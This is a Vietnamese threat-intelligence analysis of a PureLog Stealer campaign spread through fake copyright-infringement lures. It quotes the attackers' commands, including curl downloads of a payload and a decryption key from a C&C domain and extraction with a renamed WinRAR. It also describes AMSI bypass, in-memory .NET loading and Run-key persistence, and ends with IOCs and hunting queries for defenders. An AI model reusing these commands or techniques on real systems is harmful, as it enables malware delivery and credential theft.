Chiến dịch PureLog Stealer - Chuỗi Tấn Công Nhiều Giai Đoạn Nhắm Vào Các Ngành Trọng Yếu

Một file giả mạo thông báo vi phạm bản quyền đang được dùng để phát tán PureLog Stealer — một infostealer thương mại chi phí thấp nhưng được triển khai qua chuỗi tấn công đa tầng đáng lo ngại. Thay vì phân phối đại trà, chiến dịch này thể hiện rõ dấu hiệu của selective targeting: lure được bản địa hóa theo ngôn ngữ nạn nhân, payload mã hóa được tải từ C&C, và khóa giải mã được lấy động từ server riêng biệt.
Đối tượng bị ảnh hưởng: Tổ chức trong ngành y tế, chính phủ, khách sạn và giáo dục tại Đức, Canada, Mỹ và Úc. Chiến dịch cũng lạm dụng Google Ads malvertising song song với phishing email để phân phối payload.
Rủi ro cốt lõi: PureLog Stealer thu thập credential Chrome, extension trình duyệt, ví crypto và thông tin hệ thống — toàn bộ thực thi trong memory, không ghi file lên disk, khiến nhiều giải pháp AV truyền thống bỏ sót.
Hành động ưu tiên ngay: Block các domain C&C đã xác định, bật behavioral detection trên endpoint, và hunt proactively với query detectionName:*PURELOGSSTEALER* trong SIEM/EDR.
Tổng quan chiến dịch
PureLog Stealer vốn được biết đến là infostealer "entry-level" — giá rẻ, dễ dùng, thường được các threat actor ít kinh nghiệm khai thác. Điều làm chiến dịch này khác biệt không phải là bản thân payload, mà là delivery chain được thiết kế kỹ lưỡng bất thường cho một công cụ "low-cost".
Kỹ thuật này không phải ngẫu nhiên — nó tăng đáng kể tỷ lệ người dùng thực thi file vì lure trông "đúng ngữ cảnh" với môi trường làm việc của họ.
Điểm kỹ thuật nổi bật
DLL sideloading khởi tạo execution
Payload mã hóa giả dạng file PDF
Khóa giải mã được lấy từ endpoint riêng của C&C (không hardcode trong malware)
WinRAR bị đổi tên thành file PNG dùng để giải nén
Python loader giải mã và thực thi PureLog Stealer hoàn toàn trong memory
Chuỗi lây nhiễm chi tiết
Hình 1. Chuỗi lây nhiễm đầy đủ của chiến dịch
Stage 1 — Người dùng thực thi lure file
Chuỗi lây nhiễm khởi động khi nạn nhân chủ động chạy file giả mạo. Không có exploit, không có zero-day — toàn bộ phụ thuộc vào social engineering. Executable sau đó gọi command interpreter:
cmd.exe /c ...
Stage 2 — Decoy document
Ngay lập tức, malware mở một file PDF "bình thường" để đánh lạc hướng người dùng:
start "" ".\_\document.pdf"
Kỹ thuật này tạo cảm giác hành động của người dùng là hợp lệ — họ thấy một tài liệu hiện ra đúng như kỳ vọng khi click vào "thông báo vi phạm bản quyền".
Stage 3 — Tải payload mã hóa
Malware tải payload từ C&C với một số kỹ thuật đáng chú ý:
curl -A "curl/meow_meow" -s -k -L "https://quickdocshare.com/DQ" -o ".\_\invoice.pdf"
Custom User-Agent
curl/meow_meow: không khớp với bất kỳ browser/tool hợp lệ nào — indicator đơn giản nhưng hữu ích cho network detection-k(ignore TLS validation): cho phép dùng self-signed cert ở C&C-L(follow redirect): linh hoạt thay đổi hosting locationFile lưu dưới tên
invoice.pdfnhưng thực chất là encrypted archive
Stage 4 — Lấy khóa giải mã từ xa
Đây là điểm thiết kế thông minh nhất của chiến dịch. Thay vì embed password trong malware:
curl -A "curl/meow_meow" -s -k -L "https://quickdocshare.com/DQ/key"
Response được capture vào biến %i trong command line. Thiết kế này có ba hệ quả:
Không có static password → analyst không thể giải mã payload khi offline
Operator có thể rotate password per-victim → mỗi ca nhiễm có thể được kiểm soát độc lập
Có thể vô hiệu hóa payload bất kỳ lúc nào bằng cách xóa key endpoint
Stage 5 — Giải nén bằng WinRAR đổi tên
".\_\FILE_2025년_재직증명서_원본.png" x -p"%i" ".\_\invoice.pdf" "C:\Users\Public\" -y
File .png trên thực chất là WinRAR executable bị đổi tên, giải nén payload với password lấy động từ Stage 4. Extension .png không ảnh hưởng đến khả năng thực thi — Windows thực thi dựa trên PE header, không phải extension.
Stage 6 — Xóa dấu vết
del ".\_\invoice.pdf"
Xóa file archive mã hóa sau khi giải nén xong, giảm forensic artifacts trên disk.
Stage 7 — Chuyển working directory
cd "C:\Users\Public\Windows"
Thư mục C:\Users\Public\Windows không tồn tại mặc định trên Windows — đây là directory malware tự tạo. Tên gợi nhớ đến C:\Windows hợp lệ nhưng nằm dưới Public, không yêu cầu quyền admin để ghi.
Stage 8 — Thực thi second-stage loader
"C:\Users\Public\Windows\svchost.exe" "instructions.pdf"
Hai điểm cần lưu ý:
svchost.exeở đây không phải Windows service host hợp lệ — đây làpython.exebị đổi têninstructions.pdflà Python script bị obfuscate, đóng vai trò loader cho hai .NET executable tiếp theo
Phân tích biến thể
Trend Micro xác định hai infection chain song song, chia sẻ cùng toolset nhưng có sự khác biệt rõ về operational security:
| Điểm khác biệt | Chain 2 (hoạt động trước) | Chain 1 (hoạt động gần đây hơn) |
|---|---|---|
| Phân phối payload | Tải trực tiếp từ C&C quickdocshare[.]com/DQ |
Đóng gói sẵn trong dropper |
| Khóa giải mã | Lấy động từ C&C /DQ/key — không lưu trên disk |
Hardcode trong command line: efvBE97W7Ke4RnZaDTXOJzgqa04EPfz9 |
| Thực thi cuối | svchost.exe "instructions.pdf" — logic trong binary |
svchost.exe -c "exec(base64...)" — Python routine inline trong command |
| Phụ thuộc C&C | Cần C&C online — liên lạc 2 endpoint | Hoàn toàn offline sau khi dropper chạy |
Chain 2 phức tạp hơn về operational security (không để key trên disk, cần C&C active). Chain 1 đơn giản hơn nhưng key hardcode — dễ bị extract hơn. Sự tồn tại của hai chain cho thấy operator đang iterate và test các approach khác nhau.
Phân tích instructions.pdf
Bất chấp extension .pdf, file này là Python script bị obfuscate nặng — mọi string đều Base64-encode, mọi hằng số đều ẩn sau biểu thức toán học nhiều hạng tử. Khi stripped toàn bộ noise, script triển khai 8 capability theo thứ tự thực thi xác định.
Hình 11. Các capability của instructions.pdf
Capability 1: AMSI Bypass
Script vô hiệu hóa Windows Defender AMSI (Antimalware Scan Interface) trước khi load payload, thực hiện qua hai stage:
Stage 1: Patch entry point của
AmsiScanBuffervớiMOV EAX, E_INVALIDARG + JMP— function này sẽ luôn trả về "not malicious"Stage 2: Scan forward từ entry point để tìm mọi conditional jump (JZ/JNZ) và thay bằng unconditional JMP — bypass vẫn hoạt động ngay cả khi Stage 1 bị partial detection
Hình 12. Python code patch AMSI trong memory để bypass antivirus scanning
Capability 2: Reflective .NET Assembly Load qua COM/CLR
Sau khi vô hiệu AMSI, script load một .NET assembly mã hóa hoàn toàn trong memory. Quy trình:
Bootstrap .NET CLR bằng raw COM vtable calls
Construct SAFEARRAY chứa decrypted assembly bytes
Gọi
AppDomain.Load_3()để reflectively load và execute payload
Không có file nào được ghi xuống disk tại bước này. Calling convention được chọn runtime dựa trên kiến trúc 32/64-bit.
Hình 13. XOR-decrypted .NET payload được load và thực thi trong memory
Capability 3: Registry Persistence
Script tự cài vào autorun registry dưới current user's Run key:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Value name: "SystemSettings"
Tên SystemSettings mimics Windows component hợp lệ. Script xóa value cũ trước khi ghi để đảm bảo path luôn current — malware sẽ re-execute mỗi lần user đăng nhập.
Hình 14. Python script thiết lập persistence
Capability 4: Full-Screen Capture
Script chụp toàn bộ desktop ở full resolution bằng Windows GDI API, xử lý raw 24-bit BGR pixel data, xây PNG file hoàn chỉnh trong memory — không dùng PIL/Pillow, không ghi file — sau đó Base64-encode để đưa vào JSON exfiltration payload.
Hình 15. Desktop capture được convert thành PNG và Base64-encode để exfiltrate
Capability 5: Victim Fingerprinting
Trước khi exfiltrate screenshot, script thu thập:
Hostname của máy
Tên người dùng đang đăng nhập
Tên tất cả antivirus đang cài đặt (qua WMI
SecurityCenter2)
powershell -NoProfile -WindowStyle Hidden -Command "Get-WmiObject -Namespace root/SecurityCenter2 -Class AntivirusProduct | ForEach-Object { $_.displayName }"
Thông tin AV này phục vụ mục đích reconnaissance — xác định đây có phải high-value target không và lựa chọn payload tiếp theo phù hợp.
Hình 16. Machine fingerprint thu thập từ hệ thống nạn nhân
Capability 8: C&C Exfiltration qua HTTPS POST
Toàn bộ data được đóng gói JSON và gửi lên C&C qua HTTPS. Để tránh gửi trùng lặp sau mỗi lần boot (do persistence Run key), script kiểm tra registry key thứ hai:
HKCU\...\AppModel\StateRepository
Value: CacheVersion = 1337 (DWORD)
Sau lần exfiltrate thành công đầu tiên (HTTP 200), script ghi giá trị 1337 vào key này. Những lần chạy tiếp theo sẽ đọc key này và exit sớm nếu thấy 1337.
Hình 17. Screenshot và machine fingerprint được exfiltrate
Từ loader đến payload cuối: PureLog Stealer in-memory
Script instructions.py chứa hai .NET executable payload được XOR-encrypt và Base64-encode. Khi thực thi, script giải mã ra Dgrfauysx.exe và Fsywsuac.exe, launch cả hai đồng thời.
Dual .NET Loader Design
Cả hai loader có cấu trúc giống nhau và đều được bảo vệ bởi ConfuserEx — obfuscator state-machine-based phân mảnh control flow qua hàng trăm switch-case branch. Pipeline giải mã:
Gọi
ResourceManager.GetObject()với resource name hardcode để lấy encrypted byte blobGiải mã blob bằng TripleDES-CBC (key và IV embed dưới dạng Base64 trong .NET
#USheap)Decompress GZip stream ra .NET assembly trong memory
Gọi
Assembly.Load()— không ghi file nào xuống disk
Thiết kế hai loader chạy song song là redundancy mechanism: nếu một loader bị endpoint control chặn hoặc kill, loader kia vẫn độc lập deliver và execute PureLog Stealer. Cả hai dùng cùng C&C address và registry persistence key.
PureLog Stealer — Thực thi hoàn toàn trong managed heap
Assembly được load bởi Assembly.Load() là PureLog Stealer, thực thi hoàn toàn trong managed heap của loader process. Không có file nào được ghi, khiến AV truyền thống scan file creation events không phát hiện được. Sau khi loader chuyển control, nó thực hiện GC.Collect() để xóa object của mình khỏi heap, chỉ để lại PureLog Stealer là .NET code duy nhất đang active.
Hình 18. Chuỗi lây nhiễm đầy đủ đến PureLog Stealer
Pivot artifacts và telemetry
Download ban đầu
Hình 2. Malicious lure được tải về từ nguồn không xác định qua Chrome
File ZIP ban đầu được tải về qua Chrome từ:
hxxps://cdn[.]eideasrl[.]it/Notice%20of%20Alleged%20Violation%20of%20Intellectual%20Property%20Rights_1770380091603[.]zip
Process và persistence
Hình 3. Malware thiết lập persistence trên hệ thống
Python DLL và PYD files tạo dưới C:\Users\Public\Windows\:
C:\Users\Public\Windows\python314.dll
C:\Users\Public\Windows\DLLs\_ctypes.pyd
C:\Users\Public\Windows\DLLs\libffi-8.dll
C:\Users\Public\Windows\DLLs\_hashlib.pyd
C:\Users\Public\Windows\DLLs\libcrypto-3.dll
C:\Users\Public\Windows\DLLs\_socket.pyd
C:\Users\Public\Windows\DLLs\_ssl.pyd
C:\Users\Public\Windows\DLLs\libssl-3.dll
Antivirus enumeration
Hình 4. Antivirus enumeration trên hệ thống nạn nhân
Process injection
Hình 5. Process injection attempt nhắm vào svchost.exe
Machine fingerprint
Hình 7. CyberChef recipe để extract machine fingerprint
Hình 8. Machine fingerprint sau khi decode
| Field | Giá trị quan sát | Diễn giải |
|---|---|---|
| 1.1.1 | FD16FECEDAB57B025AB53AD9CA4C882F | Machine/session unique ID |
| 1.1.4 | Windows Defender, Trend Micro Apex One | Sản phẩm bảo mật đang cài |
| 1.1.5 | Windows 11 64Bit | Phiên bản OS |
| 1.1.6 | 4.3.0 | Phiên bản malware/agent |
| 1.1.10 | 64.40.154.96 | External IP của máy nạn nhân |
| 1.1.15 | C:\Users\Public\Windows\svchost.exe | Path executable đáng ngờ |
C&C attribution
Hình 10. VirusTotal liên kết IP 166.0.184.127 với PureLog Stealer, instructions.pdf được quan sát giao tiếp với C&C server này
GZip payload và decoding
Hình 6. Trend Micro Vision One telemetry cho thấy GZip Payload
Payload fingerprint được decode theo pipeline:
Base64 Decode chuỗi ban đầu
GZip Decompress ra dữ liệu có GZip header
Protobuf Deserialize theo schema Protocol Buffers
Nhận định
Chiến dịch này minh họa một trend đáng quan ngại trong infostealer ecosystem: threshold kỹ thuật để triển khai multi-stage fileless attack đang ngày càng thấp. PureLog Stealer là công cụ low-cost, nhưng delivery chain ở đây có độ tinh vi ngang với nhiều APT campaign — infrastructure-controlled decryption, dual-loader redundancy, reflective CLR loading, và anti-forensics tích hợp ngay trong loader.
Điểm đặc biệt cần lưu ý: thiết kế "khóa giải mã từ xa" không chỉ cản trở phân tích mà còn cho phép operator tắt toàn bộ campaign ngay lập tức bằng cách đơn giản là xóa key endpoint. Điều này đồng nghĩa với việc incident responder có thể không thu thập được payload ngay cả khi đã có sample của các stage trước — đúng như Trend Micro gặp phải khi không thể lấy instructions.pdf trong lần response đầu.
Từ góc độ SOC, việc này nhấn mạnh tại sao memory forensics và network telemetry quan trọng hơn disk artifact. Trong môi trường fileless, các chỉ số đáng tin cậy nhất không phải là file hash mà là: network connection pattern (custom User-Agent, domain pattern), in-memory .NET assembly load, và bất thường trong registry Run key.
Việc chiến dịch kết hợp cả phishing email lẫn Google Ads malvertising cũng đáng lưu ý — nó mở rộng attack surface ra ngoài inbox, bao gồm cả người dùng tìm kiếm trên Google. Các tổ chức chỉ training nhân viên về "đừng click link trong email" chưa đủ bao phủ vector này.
Khuyến nghị
Immediate (0–24h)
Block các C&C domain và IP đã xác định trên firewall/proxy:
quickdocshare[.]com dq[.]bestshoppingday[.]com logs[.]bestshopingday[.]com mh[.]bestshopingday[.]com logs[.]bestsaleshoppingday[.]com 166[.]0[.]184[.]127Tìm kiếm custom User-Agent
curl/meow_meowtrong proxy log và network flow — đây là indicator đơn giản nhưng khá độc nhất, ít false positiveKiểm tra registry key
HKCU\...\Runvới value nameSystemSettingstrỏ đến path không nằm trongC:\Windows\System32\
Short-term (1–7 ngày)
Chạy hunting query trên toàn bộ fleet:
detectionName:*PURELOGSSTEALER*Hunt thêm với pattern file system:
endpointHostName:[TARGET] AND ("*document.pdf*" OR "*instructions.pdf*" OR "*invoice.pdf*")Kiểm tra process list tìm
svchost.exechạy từ path ngoàiC:\Windows\System32\— đặc biệt trongC:\Users\Public\Review alert về
Assembly.Load()từ process không phải .NET IDE hay development toolTrain người dùng nhận diện lure vi phạm bản quyền — không chỉ qua email mà cả qua search result/ads
Long-term
Triển khai behavioral detection cho in-memory .NET loading pattern — rule trigger trên
AmsiScanBufferpatch attempt hoặcAppDomain.Load_3()call từ process không thuộc whitelistXem xét script-level logging (PowerShell Script Block Logging + AMSI logging) để capture obfuscated script execution
Với tổ chức có môi trường y tế hoặc chính phủ: ưu tiên review network egress rule, đặc biệt cho các request với User-Agent pattern bất thường hoặc curl-based download từ endpoint không thuộc whitelist
Hunting Queries & IOC
Trend Micro Vision One
detectionName:*PURELOGSSTEALER*
SIEM generic (Elastic/Splunk syntax)
# Network: custom curl User-Agent
user_agent:"curl/meow_meow"
# File system: svchost.exe ngoài System32
file.path:"C:\Users\Public\Windows\svchost.exe"
# Registry persistence
registry.key:*CurrentVersion\Run* AND registry.value.name:SystemSettings
# Process: Python giả dạng svchost
process.name:svchost.exe AND process.executable:*Public*
Hashes (SHA256)
| File | SHA256 |
|---|---|
| Malicious ZIP (lure) | 35efc4b75a1d70c38513b4dfe549da417aaa476bf7e9ebd00265aaa8c7295870 |
| ADNotificationManager.exe (lure EXE) | 1539dab6099d860add8330bf2a008a4b6dc05c71f7b4439aebf431e034e5b6ff |
| urlmon.dll (shellcode loader) | ac591adea9a2305f9be6ae430996afd9b7432116f381b638014a0886a99c6287 |
svchost.exe (Python renamed) — SHA1
f4532fc1e5d53a732fcc883f7125ceb06b985048
IP và Domain
Domains:
quickdocshare[.]com
dq[.]bestshoppingday[.]com
logs[.]bestshopingday[.]com
mh[.]bestshopingday[.]com
logs[.]bestsaleshoppingday[.]com
IP Addresses:
166[.]0[.]184[.]127 — PureLog Stealer C&C
64[.]40[.]154[.]96 — Tier.Net Technologies LLC
172[.]64[.]80[.]1 — Cloudflare (CDN, thấp giá trị)
Nguồn tham khảo:
- Lures Mask a Multi-Stage PureLog Stealer Attack on Key Industries — Trend Micro Research
- Don't Judge a PNG by Its Header: PURELOGS Infostealer Analysis — Swiss Post Cybersecurity
- Attackers Hide Infostealer in Copyright Infringement Notices — Dark Reading
- Inside the Infostealer Economy: Credential Threats in 2025 — Recorded Future
- Agentic Attack Chains Advance as Infostealers Flood Criminal Markets — Help Net Security / Flashpoint






